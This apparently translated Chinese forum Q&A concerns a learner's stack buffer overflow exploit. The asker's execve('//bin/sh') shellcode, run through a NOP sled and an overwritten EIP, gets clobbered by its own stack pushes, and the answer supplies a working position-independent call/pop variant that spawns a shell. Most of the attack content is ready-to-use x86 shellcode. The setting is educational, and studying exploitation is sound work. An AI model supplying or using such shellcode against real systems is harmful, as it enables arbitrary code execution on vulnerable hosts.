在缓冲区溢出期间意外覆盖了我自己的指令



我正在尝试学习如何进行基本的缓冲区溢出攻击。我有工作程序集和正确的外壳代码(没有空字节或对其他数据的引用)。程序集如下:

;clear out registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
;execve("//bin/sh",NULL,NULL)
mov al, 11
;ascii for //bin/sh
;2f 2f 62 69 6e 2f 73 68
; push null bytes on to stack
push bx
push 0x68732f6e
push 0x69622f2f
;set ebx to //bin/sh
mov ebx, esp
;call execve
int 0x80

当我自己运行程序集时,它工作正常。 当我使用 nop 雪橇和正确的地址从中构造 shell 代码时,我能够覆盖 eip 并让它开始执行我的程序集。

问题是,由于我的指令存储在堆栈上(在 64 字节缓冲区中),第二个推送指令会覆盖我代码中的最后一条指令。因此,int 0x80永远不会执行,因为它被替换为 2f2f。谁能告诉我如何解决或解决这个问题?

尝试使用可重定位的代码和数据。最后一件事是通过弄清楚我们的代码在哪个地址来实现的,如下所示:

         call next    ;push address of next instruction to stack.
         nop          ;this is to avoid offset in CALL instruction to be 0.
next:    pop ebx      ;EBX holds this very same code address
         xor ecx,ecx
         mov cl,exename-next   ;ECX is offset to exename
         add ebx,ecx  ;now EBX points to exename
         xor eax,eax
         xor ecx,ecx
         xor edx,edx
         mov al,11
         int 80h
exename: db "/bin/sh",0

CALL指令实际上是一个CALL NEAR指令,因此它使用偏移量,而不是绝对地址,因此是可重定位的。此代码仅使用 4 个字节的堆栈,而不是 12 个字节。

相关内容

最新更新